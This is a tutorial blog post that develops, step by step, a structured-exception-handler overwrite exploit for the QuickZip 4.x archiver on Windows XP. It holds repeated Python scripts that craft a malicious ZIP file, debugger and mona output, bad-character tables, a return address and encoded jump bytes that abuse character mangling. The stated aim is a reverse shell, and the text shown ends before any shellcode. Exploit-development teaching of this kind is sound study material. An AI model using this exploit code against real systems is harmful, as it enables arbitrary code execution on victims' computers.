| 39 min read
In this article, we will create an exploit for QuickZip 4.x versions, leveraging a vulnerability found several years ago. The way it is present, makes the exploitation not a trivial task, due mostly to space restrictions and character mangling. To achieve a successful exploitation, we’ll have to combine several techniques used on the Vulnserver series posts, making it a very good exercise for practicing our Exploit-Fu skills.
The vulnerability was originally found by corelanc0d3r and involves a SEH overwrite.
A quick search on Exploit DB shows only 3 available exploits, two of them related to the 4.x version:
However, one of them triggers a calc.exe
and the other shows a MessageBox
. In this article, we will build one exploit from-the-scratch that triggers a reverse shell. I will only borrow how the ZIP format sections are built together from the aforementioned exploits.
First PoC
To start, we must know how to create a working ZIP
file, so we can have a valid starting point to work on. The following code will create a ZIP
file with a single compressed file called ThisIsATestFile1
of 0
bytes:
#!/usr/bin/env python3
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'ThisIsATestFile1'
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Let’s check it:
aroldan@balrog:~/quickzip$ ls
exploit.py
aroldan@balrog:~/quickzip$ python3 exploit.py
aroldan@balrog:~/quickzip$ unzip -l exploit.zip
Archive: exploit.zip
Length Date Time Name
0 2020-06-30 13:01 ThisIsATestFile1
0 1 file
aroldan@balrog:~/quickzip$ unzip exploit.zip
Archive: exploit.zip
extracting: ThisIsATestFile1
aroldan@balrog:~/quickzip$ ls
exploit.py exploit.zip ThisIsATestFile1
aroldan@balrog:~/quickzip$ cat ThisIsATestFile1
aroldan@balrog:~/quickzip$
And using QuickZip
:
Great! We created a fully working ZIP
file using Python.
The bug on QuickZip 4.x
appears to be on the way it handles long compressed file names. Let’s update our proof-of-concept (PoC
) exploit to replicate the vulnerability. This time, we will send a filename of 1000
chars:
#!/usr/bin/env python3
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * 1000
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Now create the malicious ZIP
file:
aroldan@balrog:~/quickzip$ python3 exploit.py
aroldan@balrog:~/quickzip$ unzip -l exploit.zip
Archive: exploit.zip
Length Date Time Name
0 2020-06-30 13:01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0 1 file
aroldan@balrog:~/quickzip$
Good. Now, let’s attach QuickZip
to a debugger. In this example we will use Immunity Debugger
:
Great! We were able to replicate the vulnerability!
If we look at the animation, we see that this time we are facing a SEH overwrite, on where the exception handler and the pointer to the next exception handler (nSEH
) were overwritten.
We must now find the exact offset on where the handler gets overwritten. To do that, we will create a cyclic pattern using Metasploit’s pattern_create.rb
tool:
$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
And update our exploit with that:
#!/usr/bin/env python3 """ QuickZip 4.x exploit. Vulnerable Software: QuickZip Version: 4.x Exploit Author: Andres Roldan Tested On: Windows XP SP3 Writeup: https://fluidattacks.com/blog/quickzip-exploit/ """ import struct FILENAME = ( b'<insert pattern here>'
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Check it:
As we can see, the SEH handler was overwritten with 6B41396A
. We can check the offset with pattern_offset.rb
:
$ msf-pattern_offset -q 6B41396A
[*] Exact match at offset 298
Great! The SEH handler starts to be overwritten on byte 298 of our payload.
Update our exploit to reflect that:
#!/usr/bin/env python3
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * 298 +
b'B' * 4 +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check it:
Great! We can now proceed to create a working exploit.
Finding bad chars
In the Vulnserver LTER article, we were faced to a behavior on where certain chars were mangled by the application. As we are exploiting a file name, chances are that there must be certain chars that are not allowed.
We can check that by creating an array with all the possible ASCII chars, injecting it with our exploit and check the mangling results. Let’s do that:
!mona bytearray -cpb '\x00\x0a\x0d\x3a'
This will tell mona to create the array with all the ASCII chars, except some usual suspects:
-
Null byte
0x00
. -
Line feed
0x0a
. -
Carriage return
0x0d
. -
Colon
0x3a
.
In Python3, we can inject the same array using:
EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
We can update our exploit with that:
#!/usr/bin/env python3
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
EXCLUDE = ('0x0', '0xa', '0xd', '0x3a')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
FILENAME = (
b'A' * 298 +
b'B' * 4 +
BADCHARS +
b'C' * (698 - len(BADCHARS))
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
Check it:
And perform an analysis of our injected buffer using:
!mona cmp -f C:\mona\QuickZip\bytearray.bin -a 000e98b76
[+] Comparing with memory at location : 0x00e98b76 (??)
Only 41 original bytes of 'normal' code found.
,-----------------------------------------------.
| Comparison results: |
|-----------------------------------------------|
0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File
| a4 | Memory
10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File
| b6 a7 | Memory
20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32| File
| 5c 00 00 00| Memory
30 |33 34 35 36 37 38 39 3b 3c 3d 3e 3f 40 41 42 43| File
|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
40 |44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53| File
|00 00 00 00 00 00 41 9c e9 00 00 00 00 00 5a 01| Memory
50 |54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63| File
|00 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
60 |64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
70 |74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
80 |84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
90 |94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
a0 |a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
b0 |b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
c0 |c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
d0 |d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
e0 |e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3| File
|41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41| Memory
f0 |f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff | File
|41 41 41 41 41 41 41 41 41 41 41 41 | Memory
`-----------------------------------------------'
Ughh! Our string was heavily mangled and starting at char 0x2f
, it was dropped altogether. We’ll have to add 0x2f
to our exclusions and we’ll have to iterate over by removing the dropping chars until we are able to inject all of our 256
chars, even if mangled. Luckily for you, I did the hard-work already and I only had to add the byte 0x5c
to the exclusion list of chars that dropped the string.
So, our updated exploit to check bad chars is this:
#!/usr/bin/env python3
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
EXCLUDE = ('0x0', '0xa', '0xd', '0x2f', '0x3a', '0x5c')
BADCHARS = bytes(bytearray([x for x in range(256) if hex(x) not in EXCLUDE]))
FILENAME = (
b'A' * 298 +
b'B' * 4 +
BADCHARS +
b'C' * (698 - len(BADCHARS))
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And the comparison table of mangled chars is this:
[+] Comparing with memory at location : 0x00dff326 (??)
Only 119 original bytes of 'normal' code found.
,-----------------------------------------------.
| Comparison results: |
|-----------------------------------------------|
0 |01 02 03 04 05 06 07 08 09 0b 0c 0e 0f 10 11 12| File
| a4 | Memory
10 |13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22| File
| b6 a7 | Memory
20 |23 24 25 26 27 28 29 2a 2b 2c 2d 2e 30 31 32 33| File
| | Memory
30 |34 35 36 37 38 39 3b 3c 3d 3e 3f 40 41 42 43 44| File
| | Memory
40 |45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54| File
| | Memory
50 |55 56 57 58 59 5a 5b 5d 5e 5f 60 61 62 63 64 65| File
| | Memory
60 |66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75| File
| | Memory
70 |76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85| File
| c7 fc e9 e2 e4 e0| Memory
80 |86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95| File
|e5 e7 ea eb e8 ef ee ec c4 c5 c9 e6 c6 f4 f6 f2| Memory
90 |96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5| File
|fb f9 ff d6 dc a2 a3 a5 50 83 e1 ed f3 fa f1 d1| Memory
a0 |a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5| File
|aa ba bf ac ac bd bc a1 ab bb a6 a6 a6 a6 a6 a6| Memory
b0 |b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5| File
|a6 2b 2b a6 a6 2b 2b 2b 2b 2b 2b 2d 2d 2b 2d 2b| Memory
c0 |c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5| File
|a6 a6 2b 2b 2d 2d a6 2d 2b 2d 2d 2d 2d 2b 2b 2b| Memory
d0 |d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5| File
|2b 2b 2b 2b 2b a6 5f a6 a6 af 61 df 47 70 53 73| Memory
e0 |e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5| File
|b5 74 46 54 4f 64 38 66 65 6e 3d b1 3d 3d 28 29| Memory
f0 |f6 f7 f8 f9 fa fb fc fd fe ff | File
|f7 98 b0 b7 b7 76 6e b2 a6 a0 | Memory
`-----------------------------------------------'
| File | Memory | Note
.---------------------------------------------------------
0 0 12 12 | 01 ... 0e | 01 ... 0e | unmodified!
12 12 1 1 | 0f | a4 | corrupted
13 13 4 4 | 10 11 12 13 | 10 11 12 13 | unmodified!
17 17 2 2 | 14 15 | b6 a7 | corrupted
19 19 103 103 | 16 ... 7f | 16 ... 7f | unmodified!
.---------------------------------------------------------
122 122 128 128 | 80 ... ff | c7 ... a0 | corrupted
Possibly bad chars: 0f 14 15 80
Bytes omitted from input: 00 0a 0d 2f 3a 5c
We will have to be very creative in order to use the allowed chars and maybe the mangled ones to our favor.
Exploiting
In order for us to execute our own code, we must first divert the normal execution flow to our controlled buffer. As this is a common SEH overwrite vulnerability, we must search for a POP/POP/RET sequence that ultimately will redirect the execution flow to our buffer.
We must remember to search for pointers that contains our allowed chars:
!mona seh -cp asciiprint,nonull -cm safeseh=off -cpb '\x00\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o
This will tell mona
to look for pointers that contains bytes that are ASCII-printable, excluding our known bad chars, exclude modules with SafeSEH
disabled, and omit pointers of modules of the OS. And the result is:
Found a total of 0 pointers
:(
We have 2 choices: Use OS addresses or allow null bytes on our search. The first option is the easiest one, but our exploit will not be portable. Also, we prefer doing it the hard way!
The main drawback of the second option is that our injected buffer will be dropped when the first null byte is found. But as we are injecting the null byte on the SEH handler address, and we are working on a little endian architecture (x86
), the null byte will be the last one to be injected and we will have to use the nSEH
field to jump back.
Let’s look for the available pointers of the required POP/POP/RET
sequence omitting the OS modules and allowing null bytes:
!mona seh -cp asciiprint -cm safeseh=off -cpb '\x0a\x0d\x0f\x14\x15\x3a\x2f\x5c' -o
1225 possible pointers. Not bad. I will choose the one at 00524478
which is also alphanumeric. Let’s update the exploit with that:
#!/usr/bin/env python3
"""
QuickZip 4.x exploit.
Vulnerable Software: QuickZip
Version: 4.x
Exploit Author: Andres Roldan
Tested On: Windows XP SP3
Writeup: https://fluidattacks.com/blog/quickzip-exploit/
"""
import struct
FILENAME = (
b'A' * 298 +
# 00524478 . 59 POP ECX
# 00524479 . 5D POP EBP
# 0052447A . C2 0400 RETN 4
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
When we run it, we are able to reach the POP/POP/RET
sequence address:
And we also can see that the rest of our buffer (the part with the C
chars) was dropped after the null byte on the POP/POP/RET
address:
Now, if we execute the sequence POP/POP/RET
, we will land on a 4-byte buffer belonging to nSEH
:
We’ll have to use those 4 bytes to jump back.
Jumping around
We landed at the nSEH
field, which is only 4 bytes long. Let’s see the available jump options:
-
A long jump to the start of our injected buffer is 5 bytes long. Not an option.
-
A conditional short jump would work.
-
An unconditional short jump
JMP
opcode is0xeb
. Not on our allowed chars. Wait… Not allowed? If we see the mangling table above, we can see that when we injected the byte0x89
it was translated to0xeb
. We can use that!
However, a reverse jumping is performed using offsets from 0x80
to 0xff
, being 0x80
the farthest. Not on our allowed chars.
Our mangling table comes to the rescue again. We will see that the char 0xa5
is converted to 0xd1
which would do a reverse jump of 44 bytes, on which we will have room to perform an encoded reverse long jump to the start of our buffer and will left us with around 250 bytes to work:
#!/usr/bin/env python3 """ QuickZip 4.x exploit. Vulnerable Software: QuickZip Version: 4.x Exploit Author: Andres Roldan Tested On: Windows XP SP3 Writeup: https://fluidattacks.com/blog/quickzip-exploit/ """ import struct FILENAME = ( b'A' * (298 - 4) + # This will be translated to \xeb\xd1 -> 44 bytes backwards
b'\x89\xa5' +
# To fill the rest of the nSEH field
b'A' * 2 +
# 00524478 . 59 POP ECX
# 00524479 . 5D POP EBP
# 0052447A . C2 0400 RETN 4
struct.pack('<L', 0x00524478) +
b'C' * 698
)
LOCAL_FILE_HEADER = (
b'\x50\x4b\x03\x04\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00\x00\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00'
)
CENTRAL_DIRECTORY_HEADER = (
b'\x50\x4b\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x39\x68\xde\x50\x00' +
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +
# Filename size
struct.pack('<H', len(FILENAME)) +
b'\x00\x00\x00\x00' +
b'\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00'
)
END_OF_CENTRAL_DIRECTORY = (
b'\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00' +
# Size of central directory
struct.pack('<L', len(CENTRAL_DIRECTORY_HEADER) + len(FILENAME)) +
# Offset of start of central directory, relative to start of archive
struct.pack('<L', len(LOCAL_FILE_HEADER) + len(FILENAME)) +
b'\x00\x00'
)
ZIP_FILE = (
LOCAL_FILE_HEADER +
FILENAME +
CENTRAL_DIRECTORY_HEADER +
FILENAME +
END_OF_CENTRAL_DIRECTORY
)
with open('exploit.zip', 'wb') as fd:
fd.write(ZIP_FILE)
And check if that worked:
Great! We were able to leverage the mangling to our favor!
Encoding long jump
Now with 44 bytes to work on, we need to perform a reverse long jump to the start of our buffer. Starting at the point on where we landed after our initial short jump, the bytes needed to jump to the start of our buffer would be E9 02 FF FF FF
:
As you notice, we can’t inject those bytes because they are mangled… Wait! Mangled! If we look at the mangling table above, we can see that we can use the following translations:
-
0x82
→0xe9
. -
0x02
is allowed. -
0x98
→0xff
.
Thus, if we inject the bytes 82 02 98 98 98
, QuickZip
would translate that to E9 02 FF FF FF
! Update our exploit with that:
